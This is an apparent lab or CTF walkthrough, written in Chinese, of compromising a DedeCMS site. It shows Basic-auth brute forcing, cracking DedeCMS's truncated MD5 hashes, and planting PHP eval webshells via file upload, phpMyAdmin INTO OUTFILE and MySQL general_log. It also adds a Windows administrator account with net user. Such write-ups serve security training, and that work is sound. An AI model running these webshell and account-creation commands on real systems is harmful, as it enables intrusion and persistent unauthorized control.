阅读量:0
DEDECMS-案例分析
1、信息采集
通过Wappalyzer获取CMS、操作系统、编程语言和数据库管理器等信息
御剑目录扫描
并未扫描到任何信息，大概率是认证问题
输入账号密码抓个包看看
Basic认证
Basic认证过程简单介绍
浏览器请求一个需要认证的网页。
服务器向浏览器返回“401 Unauthorized（未认证）”状态码。
浏览器收到此状态码后，询问用户名和密码。
浏览器发送附带认证信息（Authorization头信息）的请求。
本次请求得到了文档（用户名密码均正确的情况下) 。
其中YWRtaW46MTIz是username:password(admin:123)经过base64加密得到的结果
2、弱口令爆破
这里就要尝试一些fuzz爆破
playload格式 用户名字典+ :+密码字典，对有效载荷处理添加base64编码
可以看到一个200响应，base64解码后得到账号密码
登陆得到key1
目录扫描可以用BP抓包，加上御剑的字典爆破
注意一定不要选择有效载荷编码
将结果保存为txt文档
进入key.txt，得到key2
前面信息采集的时候就已经知道了数据库管理器是phpMyAdmin
还是尝试一下fuzz爆破，通过弱口令检查工具得到数据库用户名和密码，所以说这个admin就是一个干扰选项
进入数据库后台后找到admin的密码，到这一部的时候就又要用我们前面的信息，CMS是DedeCMS，那么就有个特点，dede 的密码怎么破解，dede后台。32位的DEDE密码如何破解
dede 的密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5。
比如我的数据库的密文是：cca77804d2ba1922c33e
得到20 MD5密码，方法是，前减3后减1，得到16位MD5
这样执行后就是77804d2ba1922c33
直接md5解密：888888
可以正常进入后台
文件上传 getshell
在后台上传一个png类型文件，写入马，改后缀
在附件数据管理中找到上传文件路径
可以正常执行，蚁剑添加Authorized头部可以正常连接
phpMyAdmin get shell
参考文章：https://xz.aliyun.com/t/3283
(1) 直接写shell
前提三个条件：对web目录具有写入条件(dba用户)、知道网站的路径(探针phpinfo、报错、目录扫描等等)、secure_file_pri要具有导出权限，需要为空或者具体的一个web路径
查询secure_file_priv的值，当前为空
select @@secure_file_priv; show GLOBAL VARIABLES like '%secure_file%'; 
查找路径
SELECT @@basedir; 
SELECT '<?php eval($_POST[x]); ?>' INTO OUTFILE 'C:/phpStudy/MySQL/xiaodisec.php'; 在蚁剑上可以看到已经上传了，知道路径就可以利用(可以根据MYSQL路径猜网站根目录，后面说)
(2) 日志文件写shell
因为在mysql5.0以上，mysql官方把secure_file_pri参数默认设为NULL，所以无法进行导入导出，mysql有日志功能可以优化SQL语句
- 查询mysql日志功能是否开启
SHOW VARIABLES LIKE '%general%' General_log 表示日志功能是否打开
General_log_file 代表日志存储的位置
- 修改日志功能开头以及日志位置
SET GLOBAL general_log = on; SET GLOBAL general_log_file='C:/phpStudy/MySQL/xiaodisec.php'; SELECT '<?php @eval($_POST[x]);?>'; 
- 根据前面查到的日志路径可以判断，这个网站是小皮搭建的，大差不差就能猜到网站路径
C:/phpStudy/www SET GLOBAL general_log_file='C:/phpStudy/www/xiaodisec.php' 
远程连接
先用nmap查看是否开启远程连接
nmap -p 3389 10.0.0.163 
在御剑命令行中能看到当前为管理员用户
但是很明显账号不匹配(与admin，888888)这个数据库后台管理员
net user xiaodi 123456 /add net localgroup administrators xiaodi /add net localgroup administrators 
添加管理员用户成功
远程连接失败的原因
远程桌面失败也有很多其他原因，例如： 1.攻击机与目标机是否连通，ping命令即可验证。 2.目标机器是否开启了远程桌面服务 3.kali中/etc/ssh/sshd_config文件，X11 forwarding 是否设置为 yes? 4.也有博主说kali默认安装的rdesktop容易出现问题，卸载，重装。apt-get remove/install rdesktop 两条命令即可！ 